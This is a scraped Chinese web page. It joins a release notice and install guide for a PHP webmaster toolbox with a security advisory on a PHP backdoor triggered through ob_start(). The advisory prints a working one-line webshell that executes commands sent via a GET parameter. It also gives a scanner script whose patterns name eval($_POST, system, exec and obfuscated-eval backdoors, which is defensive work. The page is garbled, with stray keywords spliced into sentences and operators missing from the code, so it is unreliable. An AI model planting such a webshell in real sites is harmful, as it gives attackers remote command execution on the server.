1.全新PHP站长工具箱v2[对接API接口平台]
2.网站安全分析:PHP ob_start函数后门分析
全新PHP站长工具箱v2[对接API接口平台]
声明
本程序由幸福之家 xwteam.cn 独立开发并免费提供。站长
程序适用于个人研究学习和商业用途,源源码用但请保留版权并避免随意篡改代码。码站
欢迎转载分享,站长但请确保提供正确出处,源源码用禁止出售源码盈利。码站源码下载电影小镇拍照
更新说明(--)
修复管理后台和小程序配置显示错误。站长
修复PC站前端显示错误。源源码用
更新说明(--)
新增网站管理后台,码站数据保存至接口平台服务器。站长
所有工具集成检测与验证功能。源源码用
重写内核,码站支持接口平台sk功能,站长增强安全性。源源码用
工具自动加载,码站无需手动添加。
增加微信小程序管理功能。
更新说明(--)
取消后台和MYSQL,使用文件储存和调用数据。recyclerview实例 源码
框架与工具分离,仅需一个KEY。
增加工具下载列表,更新通知功能。
已使用商业版模板。
安装教程(请严格按顺序操作)
需PHP7.0~7.4,建议使用PHP7.1,可选Memcached。
建议使用服务器+宝塔面板,openblas 源码分析虚拟主机也适用,但需注意配置。
推荐使用Linux系统,WEB建议Nginx-Tengine2.2或Apache2.4。
配置伪静态。
上传所有文件至网站根目录。
设置网站信息,绑定域名后即可使用。
设置文件说明文档,视频播放源码.包括key.php文件。
key.php用于链接API接口平台,控制全局设置。
填写必填项:API_KEY、$code(注册时由管理员填写且不可更改),可选填:sk。
管理员账号注册地址:点击链接进入文档,点调试工具,按提示注册。0.1011的源码
查看详细设置文档,确保正确配置。
文章使用文章同步助手同步。
网站安全分析:PHP ob_start函数后门分析
9月日消息:站长之家从日志宝安全团队获悉,近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。
PHP 手册中关于ob_start()函数回调机制的相关说明:
Ob_start()函数后门代码如下:
php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
php#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base 匹配经过base编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)
#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) result.log
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir-read()){
if((is_dir("$directory/$file"))($file!=".")($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." $file != ".."eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, )) {
$i++; if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";
}
}
fclose($fp);
}
}
}
$mydir-close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}
find($argv[1]);
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站www.rizhibao.com